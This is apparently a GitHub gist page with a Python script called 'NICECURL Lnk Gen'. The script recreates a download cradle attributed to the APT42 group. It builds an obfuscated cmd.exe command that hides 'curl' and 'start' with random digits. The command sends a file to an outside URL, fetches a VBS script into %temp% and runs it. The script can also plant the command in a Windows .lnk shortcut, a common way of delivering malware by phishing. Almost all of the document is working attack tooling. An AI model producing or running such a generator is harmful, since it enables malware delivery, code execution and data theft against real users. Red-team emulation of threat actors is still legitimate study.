Created
May 2, 2024 13:43
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NICECURL Lnk Gen
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| # https://cloud.google.com/blog/topics/threat-intelligence/untangling-iran-apt42-operations/ | |
| import argparse | |
| import random | |
| import win32com.client | |
| def insert_digit(word, digit): | |
| pos = random.randint(1, len(word) - 1) | |
| return word[:pos] + digit + word[pos:] | |
| def generate_command(url, file_path): | |
| digit = str(random.randint(0, 9)) | |
| words = ["curl", "ssl", "revoke", "POST", "down.vbs", "start", "file.vbs"] | |
| words_with_digit = [insert_digit(word, digit) for word in words] | |
| base_command = f""" | |
| set c={words_with_digit[0]} --{words_with_digit[1]}-no-{words_with_digit[2]} -s -d "{file_path}" -X {words_with_digit[3]} {url}/file -o %temp%\\{words_with_digit[4]} & call %c:{{digit}}=% & set b={words_with_digit[5]} "" "%temp%\\{words_with_digit[6]}" & call %b:{{digit}}=% | |
| """.strip().format(digit=digit) | |
| return base_command | |
| def create_lnk(command, lnk_path): | |
| shell = win32com.client.Dispatch('WScript.Shell') | |
| shortcut = shell.CreateShortcut(lnk_path) | |
| shortcut.TargetPath = 'C:\\Windows\\System32\\cmd.exe' | |
| shortcut.Arguments = '/c ' + command | |
| shortcut.save() | |
| def main(): | |
| parser = argparse.ArgumentParser(description="cmd download cradle based on nicecurl") | |
| parser.add_argument("url", type=str, help="URL") | |
| parser.add_argument("--file_path", type=str, default="id=file.txt", help="File path default is 'id=file.txt'.") | |
| parser.add_argument("--lnk", type=str, help="Optional: Path to create a shortcut LNK file.") | |
| args = parser.parse_args() | |
| base_command = generate_command(args.url, args.file_path) | |
| full_command = "cmd.exe /c " + base_command | |
| print("Generated Command:\n", full_command) | |
| if args.lnk: | |
| create_lnk(base_command, args.lnk) | |
| print(f"Shortcut .lnk file created at {args.lnk}") | |
| if __name__ == "__main__": | |
| main() |
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